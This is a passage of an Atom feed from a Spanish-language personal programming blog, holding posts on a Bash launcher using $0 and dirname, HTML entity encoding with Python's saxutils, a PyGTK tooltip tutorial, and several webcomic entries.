href="http://3.bp.blogspot.com/_oLUxtmo5LIU/S0vxLKfVIvI/AAAAAAAAASU/Bh7a4_VYDPA/s1600-h/tweet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/S0vxLKfVIvI/AAAAAAAAASU/Bh7a4_VYDPA/s200/tweet.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr align="center"&gt; &lt;td colspan="2"&gt;&lt;a href="http://4.bp.blogspot.com/_oLUxtmo5LIU/S0vxPEbKHmI/AAAAAAAAASk/4sqIIPu_pks/s1600-h/wide.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/S0vxPEbKHmI/AAAAAAAAASk/4sqIIPu_pks/s320/wide.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-size: 85%;"&gt;&lt;br /&gt;&lt;br /&gt;Es todo por ahora, cambio y fuera.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3573786350902873170?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3573786350902873170/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3573786350902873170&amp;isPopup=true' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3573786350902873170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3573786350902873170'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/publicado-turpial-08-mas-criollo-que.html' title='Publicado Turpial 0.8: Más criollo que una arepa'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SwOKfnMYVkI/AAAAAAAAAQk/0cv6XXOmIvo/s72-c/turpial.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1536356123063804116</id><published>2010-01-10T17:26:00.000-08:00</published><updated>2010-01-10T17:29:44.393-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><title type='text'>Cómo determinar la ruta de ejecución de un script en BASH</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Este fin de semana estuve buscando la manera de hacer un script en BASH que funcione como lanzador para el Turpial y necesitaba saber la ruta de ejecución del propio script.&lt;br /&gt;&lt;br /&gt;Por un momento no supe como hacerlo, pero La Gran Totuma me iluminó y recordé los parámetros básicos de cualquier script... fue entonces cuando llegó a mi mente el famoso &lt;b&gt;$0&lt;/b&gt;. &lt;br /&gt;&lt;br /&gt;$0 contiene la ruta completa del script en ejecución. Ese parámetro junto con otro programita nos permitirán hacer la magia. &lt;br /&gt;&lt;br /&gt;La aplicación &lt;b&gt;dirname&lt;/b&gt; recibe una ruta y devuelve la misma ruta pero sin el último componente (&lt;a href="http://linux.die.net/man/1/dirname"&gt;RTFM&lt;/a&gt; para más información).&lt;br /&gt;&lt;br /&gt;Lo que hacemos es pasarle $0 a dirname y luego concatenamos el nombre de cualquier otro programa/script y voilá! Tendremos nuestro lanzador automático. Quedaría algo así:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;#!/usr/bin/bash&lt;br /&gt;&lt;br /&gt;CWD=$(dirname $0)&lt;br /&gt;sh $CWD/otro_programa.sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1536356123063804116?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1536356123063804116/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1536356123063804116&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1536356123063804116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1536356123063804116'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/como-determinar-la-ruta-de-ejecucion-de.html' title='Cómo determinar la ruta de ejecución de un script en BASH'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-614844038857855992</id><published>2010-01-05T12:07:00.000-08:00</published><updated>2010-01-05T12:07:34.787-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic: Despecho</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;¿Y quién no ha sufrido un despecho?&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Click para agrandar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/S0Obs_Od4HI/AAAAAAAAAR8/1jwqHsWS4Ns/s1600-h/05+-+Despecho.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/S0Obs_Od4HI/AAAAAAAAAR8/1jwqHsWS4Ns/s320/05+-+Despecho.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-614844038857855992?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/614844038857855992/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=614844038857855992&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/614844038857855992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/614844038857855992'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/webcomic-despecho.html' title='Webcomic: Despecho'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/S0Obs_Od4HI/AAAAAAAAAR8/1jwqHsWS4Ns/s72-c/05+-+Despecho.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5899464424773587003</id><published>2010-01-04T11:22:00.000-08:00</published><updated>2010-01-04T11:22:07.702-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic: El invento</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;El fin de semana estuve un poco ocupado y por eso no hubo webcomic, pero como lo prometí aquí está el de hoy. Enjoy it:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Click para agrandar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/S0I-ers3joI/AAAAAAAAAR0/e64yf47Zgo8/s1600-h/04+-+Invento.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/S0I-ers3joI/AAAAAAAAAR0/e64yf47Zgo8/s320/04+-+Invento.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5899464424773587003?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5899464424773587003/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5899464424773587003&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5899464424773587003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5899464424773587003'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/webcomic-el-invento.html' title='Webcomic: El invento'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/S0I-ers3joI/AAAAAAAAAR0/e64yf47Zgo8/s72-c/04+-+Invento.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3733902515059958381</id><published>2010-01-01T15:20:00.000-08:00</published><updated>2010-01-04T11:19:26.742-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic - Feliz Año 2010</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Y como era de esperarse, el comic para dar la bienvenida al nuevo año. Que lo disfruten&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Click para agrandar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_oLUxtmo5LIU/Sz6Cyrr30UI/AAAAAAAAARs/8XnvMzGb5Tc/s1600-h/03+-+Feliz+a%C3%B1o+nuevo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_oLUxtmo5LIU/Sz6Cyrr30UI/AAAAAAAAARs/8XnvMzGb5Tc/s320/03+-+Feliz+a%C3%B1o+nuevo.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3733902515059958381?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3733902515059958381/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3733902515059958381&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3733902515059958381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3733902515059958381'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2010/01/webcomic-feliz-ano-2010.html' title='Webcomic - Feliz Año 2010'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oLUxtmo5LIU/Sz6Cyrr30UI/AAAAAAAAARs/8XnvMzGb5Tc/s72-c/03+-+Feliz+a%C3%B1o+nuevo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6518009163593198971</id><published>2009-12-30T20:46:00.000-08:00</published><updated>2010-01-04T11:19:45.090-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic - Deseo</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;El comic de hoy va dedicado a mi pana Renata Franco, sé que se sentirá muy identificada xDDDD. Enjoy it.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Click para agrandar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SzwsmgoaP4I/AAAAAAAAARk/GbXoqivDbT4/s1600-h/02+-+Deseo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SzwsmgoaP4I/AAAAAAAAARk/GbXoqivDbT4/s320/02+-+Deseo.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-6518009163593198971?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/6518009163593198971/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=6518009163593198971&amp;isPopup=true' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6518009163593198971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/6518009163593198971'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/12/webcomic-deseo.html' title='Webcomic - Deseo'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/SzwsmgoaP4I/AAAAAAAAARk/GbXoqivDbT4/s72-c/02+-+Deseo.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-8704225526918872083</id><published>2009-12-29T22:27:00.000-08:00</published><updated>2010-01-04T11:21:28.549-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Webcomic'/><title type='text'>Webcomic - Jamón Endiablado</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Empezando con una faceta que tenía tieeeempo con ganas de cristalizar pero que había estado procrastinando, finalmente se ha materializado... mi primer webcomic xD. Ahí les va&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Click para agrandar&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_oLUxtmo5LIU/SzrzocZz8uI/AAAAAAAAARc/Rgqw0z1Jn1A/s1600-h/01+-+Jamon+endiablado.png" imageanchor="1"&gt;&lt;img border="0" height="109" src="http://1.bp.blogspot.com/_oLUxtmo5LIU/SzrzocZz8uI/AAAAAAAAARc/Rgqw0z1Jn1A/s320/01+-+Jamon+endiablado.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Si te gustó, comentalo... sino también xD&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-8704225526918872083?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/8704225526918872083/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=8704225526918872083&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8704225526918872083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/8704225526918872083'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/12/webcomic-jamon-endiablado.html' title='Webcomic - Jamón Endiablado'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oLUxtmo5LIU/SzrzocZz8uI/AAAAAAAAARc/Rgqw0z1Jn1A/s72-c/01+-+Jamon+endiablado.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-556801273630389354</id><published>2009-12-24T06:48:00.000-08:00</published><updated>2009-12-24T06:51:58.321-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Codificar y decodificar entidades HTML en Python</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Aunque es una tarea vulgar y silvestre, en Python no existe algo "obvio" para codificar y decodificar entidades HTML. Me gustaría encontrar cosas como htmllib.decode() o htmllib.encode(), pero no existen. He visto en la web muchos (entiéndase MUCHOS) códigos y hasta expresiones regulares para completar esta tarea, pero son soluciones rebuscadas y que requieren invertir mucho tiempo. &lt;br /&gt;&lt;br /&gt;Lo mío es a la Python-way: sencillo, elegante y limpio, y &lt;strong&gt;saxutils&lt;/strong&gt; hace el trabajo a la perfección.&lt;br /&gt;&lt;br /&gt;Basta con importar la librería y usar las funciones &lt;strong&gt;escape&lt;/strong&gt; (para codificar) y &lt;strong&gt;unescape&lt;/strong&gt; (para decodificar):&lt;br /&gt;&lt;br /&gt;&lt;code&gt;import xml.sax.saxutils as saxutils&lt;br /&gt;print saxutils.escape("Codificando entidades HTML: &amp; &gt; &lt;")&lt;/br&gt;&lt;br /&gt;print saxutils.unescape("Decodificando entidades HTML: &amp;amp;gt; &amp;amp;amp; &amp;amp;lt;")&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Esto imprimirá en pantalla algo como:&lt;br /&gt;&lt;code&gt;Codificando entidades HTML: &amp;amp;amp; &amp;amp;gt; &amp;amp;lt;&lt;br /&gt;Decodificando entidades HTML: &gt; &amp; &lt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Simple, pero a veces no lo vemos a la primera. Espero que sea de utilidad este consejo&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-556801273630389354?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/556801273630389354/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=556801273630389354&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/556801273630389354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/556801273630389354'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/12/codificar-y-decodificar-entidades-html.html' title='Codificar y decodificar entidades HTML en Python'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-5428248906831226703</id><published>2009-12-03T15:52:00.000-08:00</published><updated>2009-12-03T16:18:23.360-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><category scheme='http://www.blogger.com/atom/ns#' term='PyGTK'/><title type='text'>Tooltip en PyGTK para un IconView (insertado en un ScrolledWindow)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Luego de pasar toda una tarde &lt;strike&gt;reventándome la cabeza y tomando psicotrópicos&lt;/strike&gt; leyendo la documentación oficial de PyGTK y haciendo pruebas, logré conseguir mi objetivo: Mostrar un &lt;strike&gt;miserable&lt;/strike&gt; tooltip sensible en un IconView usando la nueva API para Tooltips de PyGTK &gt;= 2.12.&lt;br /&gt;&lt;br /&gt;La forma antigua y tradicional de hacer un Tooltip era más rudimentaria; incluso habían formas que involucraban conectarse al evento 'motion-notify-event' del widget, obtener la celda en cuestión en base a la posición del ratón y crear la ventana &lt;em&gt;a pie&lt;/em&gt; para luego mostrarla. Sin mencionar que era necesario manejar el tiempo de aparición del tooltip usando un timer y la desaparición del tooltip actual antes de mostrar uno nuevo. Nada trivial en realidad, pero así lo implementé en varias ocasiones.&lt;br /&gt;&lt;br /&gt;La &lt;a href="http://www.pygtk.org/docs/pygtk/class-gtktooltip.html"&gt;nueva API&lt;/a&gt; reduce todo el proceso a 3 simples pasos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Establecer la propiedad &lt;strong&gt;has-tooltip&lt;/strong&gt; del widget a &lt;strong&gt;True&lt;/strong&gt; para que GTK pueda monitorear los eventos de movimiento relacionados con el tooltip&lt;/li&gt;&lt;li&gt;Conectarse a la señal &lt;strong&gt;'query-tooltip'&lt;/strong&gt; del widget. Esta señal será emitida cuando el tooltip deba ser mostrado. Uno de los argumentos pasados a la señal es un objeto Tooltip correspondiente al widget. Solo queda de nuestra parte modificarlo&lt;/li&gt;&lt;li&gt;Retornar &lt;strong&gt;True&lt;/strong&gt; desde el callback que maneja la señal &lt;strong&gt;'query-tooltip'&lt;/strong&gt; para mostrar el tooltip o &lt;strong&gt;False&lt;/strong&gt; para que no se muestre&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Sencillo, ¿eh?. La API es realmente buena y facilita un montón la creación de un Tooltip, de hecho es tan sencillo que parace increible xD. Pero... se les pasó un pequeño detalle... las ventanas de desplazamiento (ScrolledWindow).&lt;br /&gt;&lt;br /&gt;Cuando se usa un widget que es o será más grande que el espacio disponible para dibujarlo (TreeView, TextView, IconView, etc) se debe emplear un ventana con scroll (ScrolledWindow) e insertar el widget dentro de ella. La ScrolledWindow se encargará de manejar eso de los scrollbars, el viewport, etc, etc, etc (si no entiendes de que estoy hablando te recomiendo leer &lt;a href="http://www.pygtk.org/pygtk2tutorial-es/sec-ScrolledWindows.html"&gt;este apartado&lt;/a&gt; del tutorial de PyGTK). Muy bonito todo... hasta ahora.&lt;br /&gt;&lt;br /&gt;El problema aparece cuando queremos mostrar un tooltip &lt;strong&gt;sensible&lt;/strong&gt; para un IconView/TreeView (es decir, que el tooltip mostrará información diferente para cada elemento del contenedor) pues la famosa señal 'query-tooltip' dentro de sus argumentos pasa la posición &lt;strong&gt;RELATIVA&lt;/strong&gt; del cursor mediante &lt;strong&gt;x&lt;/strong&gt; e &lt;strong&gt;y&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;def callback(widget, x, y, keyboard_mode, tooltip, user_param1, ...)&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;¿Qué significa la 'posición relativa del cursor'? Pues, en un widget sin scroll es la posición exácta del cursor sobre ese widget, pero en un widget con scroll ocurre lo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SxhO-gtyWPI/AAAAAAAAAQs/0J3UsUWi630/s1600-h/iconview-tooltip-pygtk.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SxhO-gtyWPI/AAAAAAAAAQs/0J3UsUWi630/s320/iconview-tooltip-pygtk.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;La señal 'query-tooltip' nos devuelve lo que en la imagen se ve como X e Y, es decir la posición del elemento &lt;strong&gt;relativa&lt;/strong&gt; al ScrolledWindow. Bien.&lt;br /&gt;&lt;br /&gt;Ahora, para saber a cual elemento del IconView estamos haciendo referencia hace falta conocer las coordenadas del elemento (relativas al IconView) y ubicar en el modelo el registro correspondiente.&lt;br /&gt;&lt;br /&gt;¿Cómo demonios vamos a obtener el elemento del IconView si la señal nos devuelve unas coordenadas que no nos sirven? ¿Cómo rayos obtenemos los valores de Z y W para referenciar al objeto correctamente?&lt;br /&gt;&lt;br /&gt;Pues he aquí la solución, y es más fácil de lo que parece. El código se explica con los comentarios.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;br /&gt;import gtk&lt;br /&gt;&lt;br /&gt;class PruebaTooltip:&lt;br /&gt;    def __init__(self):&lt;br /&gt;        # Creamos nuestro modelo con 2 campos, uno para la imagen y otro para &lt;br /&gt;        # la descripción&lt;br /&gt;        self.model = gtk.ListStore(gtk.gdk.Pixbuf, str)&lt;br /&gt;        &lt;br /&gt;        # Creamos el IconView&lt;br /&gt;        self.iconview = gtk.IconView(self.model)&lt;br /&gt;        # Le decimos que la imagen la sacará de la primera columna&lt;br /&gt;        self.iconview.set_pixbuf_column(0)&lt;br /&gt;        # Habilitamos el nuevo soporte de la API para tooltips&lt;br /&gt;        self.iconview.set_has_tooltip(True)&lt;br /&gt;        self.iconview.set_orientation(gtk.ORIENTATION_VERTICAL)&lt;br /&gt;        self.iconview.set_selection_mode(gtk.SELECTION_SINGLE)&lt;br /&gt;        self.iconview.set_column_spacing(10)&lt;br /&gt;        self.iconview.set_columns(6)&lt;br /&gt;        self.iconview.set_item_width(50)&lt;br /&gt;        # Nos conectamos a la señal 'query-tooltip'&lt;br /&gt;        self.iconview.connect("query-tooltip", self.show_tooltip)&lt;br /&gt;        &lt;br /&gt;        # Creamos el ScrolledWindow y le insertamos el IconView&lt;br /&gt;        self.scrollwin = gtk.ScrolledWindow()&lt;br /&gt;        self.scrollwin.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)&lt;br /&gt;        self.scrollwin.set_shadow_type(gtk.SHADOW_IN)&lt;br /&gt;        self.scrollwin.add(self.iconview)&lt;br /&gt;        &lt;br /&gt;        vbox = gtk.VBox(False, 5)&lt;br /&gt;        vbox.pack_start(self.scrollwin, True, True, 0)&lt;br /&gt;        &lt;br /&gt;        # Creamos una ventana simple y le agregamos la caja que contiene la&lt;br /&gt;        # ScrolledWindow y todo lo demás&lt;br /&gt;        self.window = gtk.Window()&lt;br /&gt;        self.window.set_title('Tooltip de in IconView como debe ser')&lt;br /&gt;        self.window.set_default_size(300, 300)&lt;br /&gt;        self.window.set_position(gtk.WIN_POS_CENTER)&lt;br /&gt;        self.window.connect('destroy', gtk.main_quit)&lt;br /&gt;        self.window.add(vbox)&lt;br /&gt;        self.window.show_all()&lt;br /&gt;        &lt;br /&gt;        # Creamos unos cuantos elementos dentro del modelo (esto es solo con &lt;br /&gt;        # fines ilustrativos, pues en teoría debería llenarse desde otra parte)&lt;br /&gt;        for i in range(30):&lt;br /&gt;            label = 'Tooltip del Elemento %i' % (i + 1)&lt;br /&gt;            pix = self.window.render_icon(gtk.STOCK_ABOUT, gtk.ICON_SIZE_DIALOG)&lt;br /&gt;            self.model.append([pix, label])&lt;br /&gt;        del pix&lt;br /&gt;    &lt;br /&gt;    # Esta es la parte ruda xD&lt;br /&gt;    # Nuestro callback para la señal 'query-tooltip'&lt;br /&gt;    def show_tooltip(self, widget, x, y, keyboard_mode, tooltip):&lt;br /&gt;        # Calculamos el offset (w y x), es decir la diferencia entre el origen &lt;br /&gt;        # del ScrolledWindow y el IconView. Para eso usamos el valor de cada uno&lt;br /&gt;        # de los scrollbar. Simple ¿no?. Pues después de los psicotrópicos lo&lt;br /&gt;        # ví muy sencillo :P&lt;br /&gt;        w = 